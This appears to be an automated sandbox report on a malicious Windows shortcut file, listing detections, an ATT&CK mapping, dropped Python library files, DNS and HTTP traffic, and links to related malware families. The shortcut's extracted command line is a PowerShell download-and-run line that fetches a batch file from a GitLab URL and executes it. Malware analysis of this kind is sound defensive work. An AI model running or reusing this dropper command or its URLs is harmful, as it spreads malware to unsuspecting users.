Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Command and Scripting Interpreter	11 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner	Label	Link
2h2xLB9h1L.lnk	24%	ReversingLabs	Script-BAT.Trojan.Heuristic
2h2xLB9h1L.lnk	38%	Virustotal		Browse
2h2xLB9h1L.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner
C:\Users\Public\Document\Lib\encodings\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\aliases.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\ascii.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\base64_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\bz2_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\charmap.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp037.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1006.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1026.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1125.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1140.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1250.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1251.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1252.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1253.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1254.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1255.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1256.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1257.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1258.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp273.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp424.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp437.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp500.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp720.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp737.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp775.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp850.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp852.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp855.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp856.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp857.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp858.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp860.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp861.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp862.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp863.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp864.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp865.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp866.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp869.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp874.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp875.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\hex_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\hp_roman8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\idna.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_1.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_10.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_11.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_13.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_14.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_15.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_16.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_3.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_4.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_5.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_6.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_7.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\iso8859_9.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_r.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_t.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\koi8_u.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\kz1048.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\latin_1.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_croatian.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_cyrillic.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_greek.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_iceland.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_latin2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_roman.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_romanian.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mac_turkish.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\mbcs.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\oem.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\palmos.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\ptcp154.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\punycode.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\quopri_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\raw_unicode_escape.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\rot_13.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\tis_620.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\undefined.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\unicode_escape.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16_be.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_16_le.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32_be.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_32_le.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_7.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_8.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\utf_8_sig.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\uu_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\zlib_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ensurepip\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ensurepip\__main__.py	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://bugs.python.org/issue6857.	0%	Avira URL Cloud	safe
https://fishshell.com/).	0%	Avira URL Cloud	safe
https://url.spec.whatwg.org/#concept-basic-url-parser	0%	Avira URL Cloud	safe
http://www2.hursley.ibm.com/decimal	0%	Avira URL Cloud	safe
https://bugs.python.org/issue32417	0%	Avira URL Cloud	safe
http://twistedmatrix.com/trac/browser/trunk/twisted/trial/runner.py	0%	Avira URL Cloud	safe
http://127.0.0.1/spammity/spam?say=ni	0%	Avira URL Cloud	safe
https://url.spec.whatwg.org/#concept-basic-url-parser	0%	Virustotal		Browse
https://bugs.python.org/issue32417	0%	Virustotal		Browse
http://bugs.python.org/issue6857.	0%	Virustotal		Browse
https://officeapps-df.live.com	0%	Avira URL Cloud	safe
http://127.0.0.1/spam	0%	Avira URL Cloud	safe
http://127.0.0.1/spammity/spam;cookie=1234	0%	Avira URL Cloud	safe
http://www.mpfr.org	0%	Avira URL Cloud	safe
http://uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://docs.sandbox.google.com/document/fsip/	0%	Avira URL Cloud	safe
http://127.0.0.1/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0342/#new-generator-method-close	0%	Avira URL Cloud	safe
https://eprint.iacr.org/2005/033)	0%	Avira URL Cloud	safe
https://app.hellofax.com/	0%	Avira URL Cloud	safe
https://www.hellofax.com/	0%	Avira URL Cloud	safe
https://www.zytrax.com/tech/survival/asn1.html	0%	Avira URL Cloud	safe
https://127.0.0.1/	0%	Avira URL Cloud	safe
http://127.0.0.1/sp%E4m	0%	Avira URL Cloud	safe
https://instructorledlearning.dropboxbusiness.com/	100%	Avira URL Cloud	phishing
https://a.sprig.com/	0%	Avira URL Cloud	safe
https://sales.dropboxbusiness.com/	0%	Avira URL Cloud	safe
https://uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com/cd/0/get/CelsrC2q2rAAAi9FfjyjJKZszlUh	0%	Avira URL Cloud	safe
http://www.cosc.canterbury.ac.nz/greg.ewing/python/yield-from/YieldFrom-Python3.1.2-rev5.zip	0%	Avira URL Cloud	safe
http://127.0.0.1:8000/	0%	Avira URL Cloud	safe
https://uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
http://xml.python.org/entities/fragment-builder/internal	0%	Avira URL Cloud	safe
https://url.spec.whatwg.org/	0%	Avira URL Cloud	safe
http://127.0.0.1/spammity/spam	0%	Avira URL Cloud	safe
http://127.0.0.1/spammity/sp%E4m	0%	Avira URL Cloud	safe
http://mpmath.org)	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
edge-block-www-env.dropbox-dns.com	162.125.66.15	true	false	high
gitlab.com	172.65.251.78	true	false	high
ipinfo.io	34.117.59.81	true	false	high
www-env.dropbox-dns.com	162.125.66.18	true	false	high
uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com	unknown	unknown	false	unknown
www.dropbox.com	unknown	unknown	false	high

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States		13335	CLOUDFLARENETUS	false
162.125.66.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557423
Start date and time:	2024-11-18 08:46:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2h2xLB9h1L.lnk renamed because original name is a hash value
Original Sample Name:	ee7357e3b3ae2812e9b29782ea48d820dac4dff338ed97b05b6998b6202f3f27.lnk
Detection:	MAL
Classification:	mal100.evad.winLNK@34/1041@4/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 34 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .lnk

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2h2xLB9h1L.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

C:\Users\Public\Document\Lib\email\__pycache__\__init__.cpython-312.pyc

C:\Users\Public\Document\Lib\email\__pycache__\_encoded_words.cpython-312.pyc

C:\Users\Public\Document\Lib\email\__pycache__\_parseaddr.cpython-312.pyc

C:\Users\Public\Document\Lib\email\__pycache__\_policybase.cpython-312.pyc

C:\Users\Public\Document\Lib\email\__pycache__\message.cpython-312.pyc

C:\Users\Public\Document\Lib\email\__pycache__\parser.cpython-312.pyc

C:\Users\Public\Document\Lib\email\__pycache__\quoprimime.cpython-312.pyc

C:\Users\Public\Document\Lib\email\__pycache__\utils.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\__init__.py

C:\Users\Public\Document\Lib\encodings\__pycache__\__init__.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\aliases.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\cp1252.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\cp437.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\idna.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\__pycache__\utf_8.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\aliases.py

C:\Users\Public\Document\Lib\encodings\ascii.py

C:\Users\Public\Document\Lib\encodings\base64_codec.py

Windows Analysis Report
2h2xLB9h1L.lnk

C:\Users\Public\Document\Lib\email\pycache\init.cpython-312.pyc

C:\Users\Public\Document\Lib\email\pycache\_encoded_words.cpython-312.pyc

C:\Users\Public\Document\Lib\email\pycache\_parseaddr.cpython-312.pyc

C:\Users\Public\Document\Lib\email\pycache\_policybase.cpython-312.pyc

C:\Users\Public\Document\Lib\email\pycache\message.cpython-312.pyc

C:\Users\Public\Document\Lib\email\pycache\parser.cpython-312.pyc

C:\Users\Public\Document\Lib\email\pycache\quoprimime.cpython-312.pyc

C:\Users\Public\Document\Lib\email\pycache\utils.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\init.py

C:\Users\Public\Document\Lib\encodings\pycache\init.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\pycache\aliases.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\pycache\cp1252.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\pycache\cp437.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\pycache\idna.cpython-312.pyc

C:\Users\Public\Document\Lib\encodings\pycache\utf_8.cpython-312.pyc

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
162.125.66.18	13jhsfbose.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	scut18bo03.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	bose2scut18.bat	Get hash	malicious	Abobus Obfuscator	Browse
	18cut04.bat	Get hash	malicious	Abobus Obfuscator	Browse
	bose1511mkt.bat	Get hash	malicious	Abobus Obfuscator	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse
	Metro Plastics Technologies.pdf	Get hash	malicious	Unknown	Browse
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse
	https://t.ly/ZPR23.10	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	13jhsfbose.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78 162.125.66.18
	kQ3WxQb6bw.lnk	Get hash	malicious	Unknown	Browse	172.65.251.78 162.125.66.18
	36yw96m7Ni.lnk	Get hash	malicious	Unknown	Browse	172.65.251.78 162.125.66.18
	scut18bo03.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78 162.125.66.18
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130 11-18-2024_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.65.251.78 162.125.66.18
	bose2scut18.bat	Get hash	malicious	Abobus Obfuscator	Browse	172.65.251.78 162.125.66.18
	18cut04.bat	Get hash	malicious	Abobus Obfuscator	Browse	172.65.251.78 162.125.66.18
	bose1511mkt.bat	Get hash	malicious	Abobus Obfuscator	Browse	172.65.251.78 162.125.66.18
	Factura modificada____678979879.exe	Get hash	malicious	DarkCloud	Browse	172.65.251.78 162.125.66.18
	DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	172.65.251.78 162.125.66.18

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	68971088
Entropy (8bit):	7.994074497851773
Encrypted:	true
SSDEEP:	1572864:M2Qc9alWaQNbExc9vRC6Ny/sWB5rsLfIxrsRH:R9almJrnUnB5rsLfIruH
MD5:	A05F97210E2AB782129B99AC5D4933FE
SHA1:	7CEDD8F1D17403BAB00B865E427A2E42A005B70F
SHA-256:	6FCC8209DB2045D2D6DAACEF8E263EE79272802F4ACAF0EC6FDCA9F6B18A1C0D
SHA-512:	2655A1CA88BCBF2F3D52EE12E81F1CE1644622DC7EB4C82E1EA7BFCBFFD4602FABCA7BFF2C42059C3F2E9ACF58C48A245A2486048C280872123D47640E56D8A8
Malicious:	true
Preview:	PK..........fY................Scripts/PK.........=VX0p(Kt...........Scripts/normalizer.exe..`.U.0.dk.'..e.....,..5..M...R6......B;....lM;...EG.g.Q.e..q.aS......T,.R...,.m.....{.......}..~o...}..s.=....p.....p...~,...:..g..>...G.P9..X.\|E....pYq.JSN..U..ii....b..6g.iean....x.....V...>.._.'G...R..k.\|a...n.}...S...9...A....3.[...Y..]...v...u...9.4.....h......c F..cf5.....AM.......@.......}1I.MC.....\|..U.%$..S..H........W..$....8.....C...qY..s..l....4......t...$...YY...LT=.UM..-Q..\4..W..L.)...........py...p..f.......fp.....hp.tJ.9<....t.l.PvZ.s. .^JVqB.^.S....Ni..lW.7-...^g\|......9N....k.7..%x.-.N.c9n'..b..-.5.46^%O-.39$O.O...=........9.h0.,O..8^/x.x.".}.$...&H...\.I.......nrH....0.z..J.&.$...r.......m...M.$..R. -...{Mw.t..'x...Z.X.Zo.......)..^.X($.5i>...{..NO^.\.s.Uj....h..?^-7u. A...:..l....."_.A..V.w.%.V.Xy.=.J.P.6.....vkU.....M...C.9....$.ERo.....`...c4.?!Gq$^.4.}..8.-@.Z..J_./d...b..o....q4_.T.>.v._....a.k!7.....(.9.Sj..O

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:Mrv:gv
MD5:	CE585C6BA32AC17652D2345118536F9C
SHA1:	BE0E41B3690C42E4C0CDB53D53FC544FB46B758D
SHA-256:	589C942E748EA16DC86923C4391092707CE22315EB01CB85B0988C6762AA0ED3
SHA-512:	D397EDA475D6853CE5CC28887690DDD5F8891BE43767CDB666396580687F901FB6F0CC572AFA18BDE1468A77E8397812009C954F386C8F69CC0678E1253D5752
Malicious:	false
Preview:	ECHO is off...

Process:	C:\Windows\System32\find.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	3.8956388075276664
Encrypted:	false
SSDEEP:	3:gOmAe9qQn:xm/
MD5:	89D484A82D15549C8F4BF2B4D4F1E924
SHA1:	58F49E997A58A17C2902E08026BAC2DD16A34B1B
SHA-256:	040AE1183CD6102AC612B2D88C2816B358FDC4743BC9CD05376E797595167B40
SHA-512:	C0C920A9369FF9E28C9DAE6CA21AE7A1F9A79F2F4F8F97E247D133700FC446CEAA2C6C40116DE644CEA9336D9064792F3AD7011EBCBF5B6675779C57590F167B
Malicious:	false
Preview:	FIND: Parameter format not correct..

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Working directory, Has command line arguments, Icon number=1, Archive, ctime=Wed May 15 08:54:16 2024, mtime=Sun Nov 17 01:26:12 2024, atime=Wed May 15 08:54:16 2024, length=289792, window=hidenormalshowminimized
Entropy (8bit):	3.519800579639502
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	2h2xLB9h1L.lnk
File size:	2'474 bytes
MD5:	03472b7244da723afe003faddb7ca65f
SHA1:	d68ad3460e242a0d5f68b117fa97d15bbf086227
SHA256:	ee7357e3b3ae2812e9b29782ea48d820dac4dff338ed97b05b6998b6202f3f27
SHA512:	958355ae737e054559fea7f89c3cacc9236df522ab5b5b24c364a4ee0b2c1690c368d7717f7836ce582aa53221f4f9ef2734b60a9db657f2ec20f2503bfc7918
SSDEEP:	48:8gWbPcRdJ6Pzk8SQFW3HlIKaRXv3KabhzYk:8rbPcRv4zC3HluvKGzY
TLSH:	5F51DE1127E91720D6F39E7B54BAA2018621BC55ED229E5D41E061CC28E0511EC76F3F
File Content Preview:	L..................F.... ....-\..........8..$.]......l......................5....P.O. .:i.....+00.../C:\...................V.1.....nY....Windows.@........OwHqYC........................... .`.W.i.n.d.o.w.s.....Z.1.....qY....System32..B........OwHqY......@.

General
Relative Path:
Command Line Argument:	/c powershell -Command "$u='https://gitlab.com/bose1511/mkt1511/-/raw/main/hnbose1711.bat'; $f=$env:TEMP+'\UpdateScript.bat'; Invoke-WebRequest -Uri $u -OutFile $f; Start-Process $f"
Icon location:	%SystemRoot%\System32\SHELL32.dll

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 08:47:20.193630934 CET	192.168.2.9	1.1.1.1	0x5f88	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:47:24.168150902 CET	192.168.2.9	1.1.1.1	0xf222	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:47:25.986829042 CET	192.168.2.9	1.1.1.1	0x395f	Standard query (0)	uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:49:27.020525932 CET	192.168.2.9	1.1.1.1	0xf95a	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 08:47:20.202615976 CET	1.1.1.1	192.168.2.9	0x5f88	No error (0)	gitlab.com		172.65.251.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:47:24.174762964 CET	1.1.1.1	192.168.2.9	0xf222	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:47:24.174762964 CET	1.1.1.1	192.168.2.9	0xf222	No error (0)	www-env.dropbox-dns.com		162.125.66.18	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:47:26.004692078 CET	1.1.1.1	192.168.2.9	0x395f	No error (0)	uc3a4a64227c00bbdb5f6742ba2d.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:47:26.004692078 CET	1.1.1.1	192.168.2.9	0x395f	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.66.15	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:49:27.027370930 CET	1.1.1.1	192.168.2.9	0xf95a	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:47:20 UTC	197	OUT	GET /bose1511/mkt1511/-/raw/main/hnbose1711.bat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gitlab.com Connection: Keep-Alive
2024-11-18 07:47:21 UTC	278	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:47:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 33564 Connection: close cache-control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 content-disposition: inline
